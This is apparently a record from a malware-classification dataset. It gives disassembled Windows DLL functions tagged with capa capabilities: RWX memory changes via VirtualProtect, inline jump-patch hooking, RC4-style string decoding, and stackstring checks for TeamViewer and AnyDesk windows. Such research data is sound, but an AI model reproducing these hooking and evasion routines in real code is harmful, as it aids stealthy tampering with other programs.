joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10012de0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004a561
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x1006800c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x38], edx
mov ebx, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x1007138c]
test eax, eax
jne 0x10012f8d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10068e7c]
movaps xmm0, xmmword [0x1005dee0]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0x53
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0xc0c]
test al, 1
jne 0x10012eac
or eax, 1
mov dword [esi + 0xc0c], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x103d], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x102c], al
add ecx, 1
adc edx, 0
jne 0x10012e98
cmp ecx, 0x11
jb 0x10012e80
push 0x10053d30
call fcn.10047ced
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x102c]
mov ecx, edi
call fcn.100424e0
mov eax, dword [esi + 0x17a0]
mov dword [ebp - 0x20], 0x48f79404
mov dword [ebp - 0x1c], 0x65bfd41d
mov dword [ebp - 0x18], 0x1d5b137
test al, 1
jne 0x10012f2c
or eax, 1
mov dword [esi + 0x17a0], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x258], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x24c], al
add ecx, 1
adc edx, 0
jne 0x10012f18
cmp ecx, 0xc
jb 0x10012f00
push 0x10053d80
call fcn.10047ced
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x24c]
mov ecx, esi
call fcn.10042540
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10012f86
push 7
call fcn.10047c44
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10012f88
xor eax, eax
mov dword [0x1007138c], eax
push 0
push 0x8404f700
push 0
push 0
push dword [ebp - 0x30]
mov dword [0x1006aac4], eax
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100473e9
mov esp, ebp
pop ebp
ret
Function at 0x10012fd0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004a5f1
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1006800c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x100713e8]
test eax, eax
jne 0x1001316d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10068e7c]
movaps xmm0, xmmword [0x1005ef30]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0x1d
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0xae0]
test al, 1
jne 0x1001308c
or eax, 1
mov dword [esi + 0xae0], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x1ad1], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x1ac0], al
add ecx, 1
adc edx, 0
jne 0x10013078
cmp ecx, 0x11
jb 0x10013060
push 0x10053dd0
call fcn.10047ced
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x1ac0]
mov ecx, edi
call fcn.10042420
mov eax, dword [esi + 0x10e0]
mov dword [ebp - 0x20], 0x24e3d04a
mov dword [ebp - 0x1c], 0x816da86d
mov dword [ebp - 0x18], 0x6dc1f579
test al, 1
jne 0x1001310c
or eax, 1
mov dword [esi + 0x10e0], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x1dc], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x1d0], al
add ecx, 1
adc edx, 0
jne 0x100130f8
cmp ecx, 0xc
jb 0x100130e0
push 0x10053e20
call fcn.10047ced
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x1d0]
mov ecx, esi
call fcn.10042480
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013166
push 7
call fcn.10047c44
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013168
xor eax, eax
mov dword [0x100713e8], eax
push dword [ebp + 0x10]
mov dword [0x1006a2c8], eax
push dword [ebp - 0x30]
push dword [ebp + 8]
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100473e9
mov esp, ebp
pop ebp
ret
Function at 0x100131a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004a681
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1006800c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x10071394]
test eax, eax
jne 0x1001333d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10068e7c]
movaps xmm0, xmmword [0x1005e4c0]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0x31
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x1b54]
test al, 1
jne 0x1001325c
or eax, 1
mov dword [esi + 0x1b54], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x10c1], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x10b0], al
add ecx, 1
adc edx, 0
jne 0x10013248
cmp ecx, 0x11
jb 0x10013230
push 0x10053e70
call fcn.10047ced
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x10b0]
mov ecx, edi
call fcn.10042360
mov eax, dword [esi + 0x29c]
mov dword [ebp - 0x20], 0x9cff7466
mov dword [ebp - 0x1c], 0x2b3bee3d
mov dword [ebp - 0x18], 0xd5dd5155
test al, 1
jne 0x100132dc
or eax, 1
mov dword [esi + 0x29c], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0xa88], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0xa7c], al
add ecx, 1
adc edx, 0
jne 0x100132c8
cmp ecx, 0xc
jb 0x100132b0
push 0x10053ec0
call fcn.10047ced
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0xa7c]
mov ecx, esi
call fcn.100423c0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013336
push 7
call fcn.10047c44
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013338
xor eax, eax
mov dword [0x10071394], eax
push dword [ebp - 0x30]
mov dword [0x1006f7e8], eax
push 0x64
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100473e9
mov esp, ebp
pop ebp
ret
Function at 0x10013370
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004a711
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x1006800c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [0x100713f8]
test eax, eax
jne 0x1001350d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10068e7c]
movaps xmm0, xmmword [0x1005e340]
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0xb71a1b75
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x274c]
test al, 1
jne 0x1001342c
or eax, 1
mov dword [esi + 0x274c], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x2958], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x2944], al
add ecx, 1
adc edx, 0
jne 0x10013418
cmp ecx, 0x14
jb 0x10013400
push 0x10053f10
call fcn.10047ced
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x2944]
mov ecx, edi
call fcn.100422a0
mov eax, dword [esi + 0x1a3c]
mov dword [ebp - 0x1c], 0xfe313e46
mov dword [ebp - 0x18], 0x9cf4031
mov dword [ebp - 0x14], 0xb7131b75
test al, 1
jne 0x100134ac
or eax, 1
mov dword [esi + 0x1a3c], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0xa8], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x9c], al
add ecx, 1
adc edx, 0
jne 0x10013498
cmp ecx, 0xc
jb 0x10013480
push 0x10053f60
call fcn.10047ced
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x9c]
mov ecx, esi
call fcn.10042300
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10013506
push 7
call fcn.10047c44
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10013508
xor eax, eax
mov dword [0x100713f8], eax
push ebx
mov dword [0x1006ad38], eax
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100473e9
mov esp, ebp
pop ebp
ret
Function at 0x1001eac0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1006800c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x1006b91c], 0
push esi
push edi
jle 0x1001eb2a
mov ecx, dword [0x10069ea0]
mov eax, dword [0x1006c3c4]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x1001eb2a
mov ecx, dword [0x10069ea0]
mov eax, dword [0x1006c3c4]
add eax, 0x144
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1001eb6a
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x1001eb5e
mov ecx, dword [0x10069ea0]
mov eax, dword [0x1006c3c4]
add eax, 0x144
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x1001eb6a
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x68
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100473e9
mov esp, ebp
pop ebp
ret
Function at 0x10020ac0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004af11
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x1006800c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10068e7c]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x100713c0]
cmp eax, dword [ecx + 0xc]
jle 0x10020b55
push 0x100713c0
call fcn.10047701
add esp, 4
cmp dword [0x100713c0], 0xffffffff
jne 0x10020b55
mov dword [ebp - 4], 0
mov ecx, dword [0x10069ea0]
mov eax, dword [0x1006c3c4]
add eax, 0x148
push eax
mov edx, dword [ecx]
call dword [edx + 4]
add eax, 4
mov dword [ebp - 4], 0xffffffff
push 0x100713c0
mov dword [0x10071374], eax
call fcn.100476b7
add esp, 4
mov ecx, dword [0x10069ea0]
mov eax, dword [0x1006c3c4]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x10020be4
cmp dword [0x1006b8f4], 0
je 0x10020be4
mov eax, dword [0x1006c3c4]
mov ecx, dword [eax + 0x298]
mov eax, dword [0x1006ad44]
mov ecx, dword [eax + ecx]
call fcn.10014630
mov esi, eax
test esi, esi
je 0x10020be4
mov ecx, dword [0x10069ea0]
push 0x1006b148
mov edx, dword [ecx]
call dword [edx + 4]
test eax, eax
je 0x10020be4
mov edx, dword [0x1006a454]
add edx, eax
cmp edx, eax
jbe 0x10020be4
mov ecx, esi
call edx
test eax, eax
jle 0x10020be4
mov edi, dword [0x10071374]
cmp edi, 0x1000
jbe 0x10020c15
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3a8312a2
jmp 0x10020c09
mov edi, dword [0x10071374]
cmp edi, 0x1000
jbe 0x10020c15
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3e19999a
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push 4
push edi
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100473e9
mov esp, ebp
pop ebp
ret
Function at 0x10020c30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1006800c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x10069ea0]
mov eax, dword [0x1006c3c4]
push esi
push edi
mov edx, dword [ecx]
add eax, 0x1c
push eax
call dword [edx + 4]
mov ecx, dword [0x10069ea0]
cmp dword [eax], 0
mov edx, dword [ecx]
mov eax, dword [0x1006c3c4]
je 0x10020c9a
add eax, 0x150
cmp dword [0x1006aabc], 0
push eax
je 0x10020ca0
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x10020ccd
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x10020cc1
add eax, 0x150
push eax
call dword [edx + 4]
mov edi, eax
cmp edi, 0x1000
jbe 0x10020ccd
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x6a
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100473e9
mov esp, ebp
pop ebp
ret

Function at 0x10021240
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x1006bdc4], 0
jne 0x100212a3
mov edx, 0x54
xor eax, eax
mov cl, byte [eax + 0x1005d8d0]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x18], cl
and edx, 0x800000ff
jns 0x10021273
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x15
jl 0x10021256
lea eax, [ebp - 0x18]
mov byte [ebp - 3], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add eax, 0xcdda
mov dword [0x1006bdc4], 1
mov dword [0x1006b1ec], eax
add eax, 0x18
mov dword [0x1006a568], eax
mov esp, ebp
pop ebp
ret
Function at 0x10021800
Capabilities:
Contain obfuscated stackstrings
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
cmp dword [0x1006c150], 0
je 0x10021bad
mov ecx, 0x4c
xor edx, edx
nop word [eax + eax]
mov al, byte [edx + 0x1005d8ec]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x20], al
and ecx, 0x800000ff
jns 0x1002183d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xb
jl 0x10021820
push esi
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
lea eax, [ebp - 0x20]
push eax
push 0
mov byte [ebp - 0x15], 0
call esi
test eax, eax
jne 0x100218a1
mov byte [ebp - 0xa], al
lea eax, [ebp - 0x14]
push eax
push 0
mov dword [ebp - 0x14], 0x6d616554
mov dword [ebp - 0x10], 0x77656956
mov word [ebp - 0xc], 0x7265
call esi
test eax, eax
jne 0x100218a1
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x44796e41
push eax
push 0
mov dword [ebp - 4], 0x6b7365
call esi
test eax, eax
jne 0x100218a1
mov dword [0x1006ab98], eax
pop esi
mov esp, ebp
pop ebp
ret
xorps xmm0, xmm0
mov dword [0x1006b8b8], 0
mov eax, 1
mov dword [0x1006fc1c], 0
mov dword [0x1006abe0], 0
mov dword [0x1006ad3c], 0
mov dword [0x1006a2dc], 0
mov dword [0x1006f7b4], 0
mov dword [0x1006c4d4], 0
mov dword [0x1006a578], 0
mov dword [0x1006b158], 0
mov dword [0x1006fbec], 0
mov dword [0x1006a2f8], 0
mov dword [0x1006c374], 0
mov dword [0x1006c438], 0
mov dword [0x1006a420], 0
mov dword [0x1006c02c], 0
mov dword [0x1006c3c0], 0
mov dword [0x1006a2e8], 0
mov dword [0x1006f7fc], 0
mov dword [0x1006b8f4], 0
mov dword [0x1006c4fc], 0
mov dword [0x1006bfc0], 0
mov dword [0x1006b8a0], 0
mov dword [0x1006aae4], 0
mov dword [0x1006ab94], 0
mov dword [0x1006a2a8], 0
mov dword [0x1006ab5c], 0
mov dword [0x1006bb70], 0
mov dword [0x1006b8f0], 0
mov dword [0x1006f7b8], 0
mov dword [0x1006aae0], 0
mov dword [0x1006c45c], 0
mov dword [0x1006b940], 0
mov dword [0x1006b8b4], 0
mov dword [0x1006a450], 0
mov dword [0x1006a538], 0
mov dword [0x1006abc8], 0
mov dword [0x1006a490], 0
mov dword [0x1006bb7c], 0
mov dword [0x1006a2b0], 0
mov dword [0x1006bbb0], 0
mov dword [0x1006b938], 0
mov dword [0x1006a2e4], 0
mov dword [0x1006a574], 0
mov dword [0x1006a2ec], 0
mov dword [0x1006abf4], 0
mov dword [0x1006b4a8], 0
mov dword [0x1006c388], 0
mov dword [0x1006c380], 0
mov dword [0x1006b91c], 0
mov dword [0x1006fbe8], 0
mov dword [0x1006b13c], 0
mov dword [0x1006aabc], 0
mov dword [0x1006a4ac], 0
mov dword [0x1006abb8], 0
mov dword [0x1006c044], 0
mov dword [0x1006c158], 0
mov dword [0x1006c040], 0
mov dword [0x1006bb90], 0
mov dword [0x1006fba8], 0
mov dword [0x1006f7ec], 0
mov dword [0x1006b928], 0
mov dword [0x1006a2b4], 0
mov dword [0x1006c3b4], 0
mov dword [0x1006abec], 0
mov dword [0x1006a4c0], 0
mov dword [0x1006f7f0], 0
mov dword [0x1006c160], 0
mov dword [0x1006a4b8], 0
mov dword [0x1006c030], 0
mov dword [0x10068050], 0
mov dword [0x1006ab74], 0
mov dword [0x1006b924], 0
movups xmmword [0x1006b168], xmm0
mov dword [0x1006b190], 0
movups xmmword [0x1006b178], xmm0
mov dword [0x1006b8ec], 1
movq qword [0x1006b188], xmm0
mov dword [0x1006ab98], eax
pop esi
mov esp, ebp
pop ebp
ret
mov dword [0x1006ab98], 0
mov esp, ebp
pop ebp
ret
Function at 0x100243e0
Capabilities:
Get hostname

Disassembly:
push 0x10068048
push 0x1006aba4
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.100242f0
cmp eax, 1
jne 0x1002440c
push str.Win_XP
push 0x1006c768
call fcn.10005690
add esp, 8
call fcn.100242f0
cmp eax, 2
jne 0x10024428
push str.Win_Vista
push 0x1006c768
call fcn.10005690
add esp, 8
call fcn.100242f0
cmp eax, 3
jne 0x10024444
push str.Win_7
push 0x1006c768
call fcn.10005690
add esp, 8
call fcn.100242f0
cmp eax, 4
jne 0x10024460
push str.Win_8
push 0x1006c768
call fcn.10005690
add esp, 8
call fcn.100242f0
cmp eax, 5
jne 0x1002447c
push str.Wi_10
push 0x1006c768
call fcn.10005690
add esp, 8
ret
Function at 0x1003e040
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004fed3
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x1006800c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10068e7c]
mov dword [ebp - 0x1c], 0x640b0439
mov dword [ebp - 0x18], 0xab9dfb2d
mov byte [ebp - 0x14], 0x5d
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x4a4]
test al, 1
jne 0x1003e0e5
or eax, 1
mov dword [esi + 0x4a4], eax
xorps xmm0, xmm0
mov dword [ebp - 4], 0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0x2d1], 1
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x2c8], al
add ecx, 1
adc edx, 0
jne 0x1003e0d8
cmp ecx, 9
jb 0x1003e0c0
push 0x1005b0d0
call fcn.10047ced
add esp, 4
cmp byte [esi + 0x2d1], 0
lea edi, [esi + 0x2c8]
je 0x1003e12d
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov ebx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
mov ecx, esi
mov eax, 0x5d6f375d
and ecx, 7
mov edx, 0xc7f19f03
shl ecx, 3
call fcn.10048690
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x1003e129
cmp esi, 9
jb 0x1003e102
mov byte [edi + 9], 0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.xxxxxxx____xxx_
push 0x1005dc00
push edi
call esi
mov edx, 0x128000
mov ecx, eax
call fcn.10007a20
add esp, 8
mov ebx, eax
push str.xxxxxxxxx
push 0x1005dc1c
lea ecx, [ebx + 6]
push edi
mov dword [0x1006bdc0], ecx
call esi
mov edx, 0x128000
mov ecx, eax
call fcn.10007a20
add esp, 8
lea ecx, [eax + 6]
mov dword [0x1006c448], ecx
test ebx, ebx
je 0x1003e191
push ecx
push 0x1003d770
push ebx
call fcn.10012640
jmp 0x1003e1b8
test eax, eax
je 0x1003e1a3
push ecx
push 0x1003d790
push eax
call fcn.10012640
jmp 0x1003e1b8
push 0
push 0
push 0
push 0x1003e020
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100473e9
mov esp, ebp
pop ebp
ret
Function at 0x1003e1e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1006800c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push edi
mov esi, edx
mov edi, ecx
nop dword [eax]
cmp byte [edi], 0x6a
jne 0x1003e27e
cmp esi, 0x1000
jbe 0x1003e25a
cmp edi, 0x1000
jbe 0x1003e25a
lea eax, [ebp - 8]
push eax
push 0x80
push 7
push esi
call ebx
push 7
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push 7
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.100124e0
add esp, 4
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x1003e2ea
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 7]
lea edx, [edx + 7]
call fcn.100124e0
add esp, 4
cmp esi, 0x1000
jbe 0x1003e2ed
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
jmp 0x1003e2ea
cmp esi, 0x1000
jbe 0x1003e2c8
cmp edi, 0x1000
jbe 0x1003e2c8
lea eax, [ebp - 0xc]
push eax
push 0x80
push 5
push esi
call ebx
push 5
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc]
push 5
push esi
call ebx
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.100124e0
add esp, 4
jmp 0x1003e2e2
mov edx, dword [ebp + 8]
push ecx
lea ecx, [esi + 5]
lea edx, [edx + 5]
call fcn.100124e0
add esp, 4
cmp esi, 0x1000
jbe 0x1003e2ed
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 7
push esi
call ebx
mov al, byte [edi]
cmp al, 0x8b
je 0x1003e304
cmp al, 0x6a
je 0x1003e304
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1003e200
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100473e9
mov esp, ebp
pop ebp
ret